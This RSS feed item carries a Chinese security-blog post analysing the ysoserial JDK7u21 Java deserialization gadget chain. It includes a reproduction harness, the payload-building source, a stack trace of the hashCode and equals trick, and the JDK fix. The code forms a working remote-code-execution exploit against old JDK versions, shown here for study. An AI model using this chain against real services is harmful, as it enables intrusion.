<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>jdk &#8211; ChaBug安全</title>
	<atom:link href="/tags/jdk/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Wed, 10 Jun 2020 03:21:11 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>Ysoserial JDK7u21</title>
		<link>/audit/1799.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Wed, 10 Jun 2020 03:21:11 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[jdk]]></category>
		<category><![CDATA[rce]]></category>
		<category><![CDATA[ysoserial]]></category>
		<category><![CDATA[反序列化]]></category>
		<guid isPermaLink="false">/?p=1799</guid>

					<description><![CDATA[0^anything=anything 环境 jdk7u21 ysoserial idea 复现 package ysoserial.mytest; import ysoseria...]]></description>
										<content:encoded><![CDATA[<p>0^anything=anything</p>
<h2>环境</h2>
<p><span class="wpcom_tag_link"><a href="/tags/jdk" title="jdk" target="_blank">jdk</a></span>7u21 <span class="wpcom_tag_link"><a href="/tags/ysoserial" title="ysoserial" target="_blank">ysoserial</a></span> idea</p>
<h2>复现</h2>
<p><img src="https://y4er.com/img/uploads/20200610111235.png" alt="image.png" /></p>
<pre><code class="language-java line-numbers">package ysoserial.mytest;

import ysoserial.payloads.Jdk7u21;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class JDK7u21 {
    public static void main(String[] args) {
        try {
            Object calc = new Jdk7u21().getObject("calc");

            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();//用于存放person对象序列化byte数组的输出流

            ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
            objectOutputStream.writeObject(calc);//序列化对象
            objectOutputStream.flush();
            objectOutputStream.close();

            byte[] bytes = byteArrayOutputStream.toByteArray(); //读取序列化后的对象byte数组

            ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);//存放byte数组的输入流

            ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
            Object o = objectInputStream.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
</code></pre>
<h2>分析</h2>
<p>首先简单两行代码<span class="wpcom_tag_link"><a href="/tags/rce" title="rce" target="_blank">rce</a></span></p>
<pre><code class="language-java line-numbers">TemplatesImpl object = (TemplatesImpl) Gadgets.createTemplatesImpl("calc");
object.getOutputProperties();
</code></pre>
<p><img src="https://y4er.com/img/uploads/20200610115520.png" alt="image.png" /></p>
<p>createTemplatesImpl 是使用 <span class="wpcom_tag_link"><a href="/tags/java" title="java" target="_blank">java</a></span>ssist 动态的添加的恶意 java 代码，初始化时自动执行，之前的文章中说过，getOutputProperties()中调用newTransformer()<br />
<img src="https://y4er.com/img/uploads/20200610114926.png" alt="image.png" /></p>
<p>调用了getTransletInstance()<br />
<img src="https://y4er.com/img/uploads/20200610115760.png" alt="image.png" /></p>
<p>getTransletInstance()中将恶意字节码加载进来并且new实例，在实例化时rce。<br />
<img src="https://y4er.com/img/uploads/20200610110173.png" alt="image.png" /></p>
<p>现在的问题就是如何<span class="wpcom_tag_link"><a href="/tags/%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96" title="反序列化" target="_blank">反序列化</a></span>自动调用getOutputProperties，把yso的payload抠出来</p>
<pre><code class="language-java line-numbers">    public Object getObject(final String command) throws Exception {
        final Object templates = Gadgets.createTemplatesImpl(command);

        String zeroHashCodeStr = "f5a5a608";

        HashMap map = new HashMap();
        map.put(zeroHashCodeStr, "foo");

        InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
        Reflections.setFieldValue(tempHandler, "type", Templates.class);
        Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

        LinkedHashSet set = new LinkedHashSet(); // maintain order
        set.add(templates);
        set.add(proxy);

        Reflections.setFieldValue(templates, "_auxClasses", null);
        Reflections.setFieldValue(templates, "_class", null);

        map.put(zeroHashCodeStr, templates); // swap in real object
        return set;
    }
</code></pre>
<p>map先是存了一个<code>f5a5a608=foo</code>，然后f5a5a608值改为TemplatesImpl恶意对象</p>
<p>set对象存放了TemplatesImpl恶意对象和Templates的动态代理对象</p>
<p><img src="https://y4er.com/img/uploads/20200610119092.png" alt="image.png" /></p>
<p>LinkedHashSet继承HashSet，其readObject在HashSet中<br />
<img src="https://y4er.com/img/uploads/20200610113776.png" alt="image.png" /></p>
<p>在该readObjcet中会将反序列化的对象put()放入map中（HashSet本质是HashMap），先添加templates再添加proxy。在put()第二次添加proxy的时候，map中已经有了一个TemplatesImpl<br />
<img src="https://y4er.com/img/uploads/20200610115905.png" alt="image.png" /><br />
所以会拿上一个Entry的key做比较，当key对象相等时新值替换旧值，返回旧值。</p>
<pre><code class="language-java line-numbers">e.hash == hash &amp;&amp; ((k = e.key) == key || key.equals(k))
</code></pre>
<p>问题就出在<code>key.equals(k)</code>，但是要想进入equals方法需要满足前面的几个短路条件</p>
<ol>
<li>e.hash == hash 为真</li>
<li>(k = e.key) == key 为假</li>
</ol>
<p>e.hash是在生成payload的时候<code>set.add(proxy)</code>计算的，贴一下堆栈</p>
<pre><code class="language-java line-numbers">hashCodeImpl:293, AnnotationInvocationHandler (sun.reflect.annotation)
invoke:64, AnnotationInvocationHandler (sun.reflect.annotation)
hashCode:-1, $Proxy0 (com.sun.proxy)
hash:351, HashMap (java.util)
put:471, HashMap (java.util)
add:217, HashSet (java.util)
getObject:84, Jdk7u21 (ysoserial.payloads)
rce:21, JDK7u21 (ysoserial.mytest)
main:16, JDK7u21 (ysoserial.mytest)
</code></pre>
<p>在java.util.HashMap#put添加键值的时候会计算对象hash，走了一个hash(key)函数<br />
<img src="https://y4er.com/img/uploads/20200610110429.png" alt="image.png" /></p>
<p>而key此时是proxy动态代理对象，要调用它的hashCode()函数需要走动态代理的invoke接口，当调用方法名为hashCode时，会进入hashCodeImpl()<br />
<img src="https://y4er.com/img/uploads/20200610117633.png" alt="image.png" /></p>
<pre><code class="language-java line-numbers">    private int hashCodeImpl() {
        int var1 = 0;

        Entry var3;
        for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
            var3 = (Entry)var2.next();
        }

        return var1;
    }
</code></pre>
<p>这个方法遍历memberValues这个map对象，然后做了</p>
<pre><code class="language-java line-numbers">v += 127 * (key).hashCode() ^ memberValueHashCode(value);
</code></pre>
<p><code>memberValueHashCode()</code>直接返回<code>var0.hashCode()</code>，也就是直接返回原本对象的hashcode，但是还要走一次亦或，所以要让<code>127 * (key).hashCode()=0</code>，而key为<code>f5a5a608</code>，他的hashcode刚好为0，到这里不得不惊叹作者的巧妙。</p>
<blockquote><p>
  拓展: 空字符串和<code>\u0000</code>的hashCode都为0
</p></blockquote>
<p><img src="https://y4er.com/img/uploads/20200610119892.png" alt="image.png" /></p>
<p>e.hash==hash其实就是拿proxy代理的<code>@javax.xml.transform.Templates(f5a5a608=foo)</code>对象的hash和之前计算的自身hash做比较，结果当然为true。</p>
<p><code>(k = e.key) == key</code>拿proxy对象和Templates比较肯定为false。</p>
<p>走到key.equals(k)这一步，也就是<code>proxy.equals(templates)</code>。同理调用proxy的equals函数需要通过invoke接口走<br />
<img src="https://y4er.com/img/uploads/20200610113803.png" alt="image.png" /></p>
<p>然后<br />
<img src="https://y4er.com/img/uploads/20200610113821.png" alt="image.png" /></p>
<p>getMemberMethods()取出两个无参方法<br />
<img src="https://y4er.com/img/uploads/20200610114904.png" alt="image.png" /></p>
<p>在这调用了getOutputProperties()，回到上文的rce流程就串起来了。</p>
<h2>修复</h2>
<pre><code class="language-java line-numbers">    AnnotationInvocationHandler(Class&lt;? extends Annotation&gt; var1, Map&lt;String, Object&gt; var2) {
        Class[] var3 = var1.getInterfaces();
        if (var1.isAnnotation() &amp;&amp; var3.length == 1 &amp;&amp; var3[0] == Annotation.class) {
            this.type = var1;
            this.memberValues = var2;
        } else {
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        }
    }
</code></pre>
<p>对于this.type进行了校验必须为Annotation.class</p>
<h2>参考</h2>
<ol>
<li>https://mp.weixin.qq.com/s/qlg3IzyIc79GABSSUyt-OQ</li>
<li>https://b1ue.cn/archives/176.html</li>
<li>https://xz.aliyun.com/t/6884</li>
<li>https://b1ngz.github.io/java-deserialization-jdk7u21-gadget-note/</li>
</ol>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
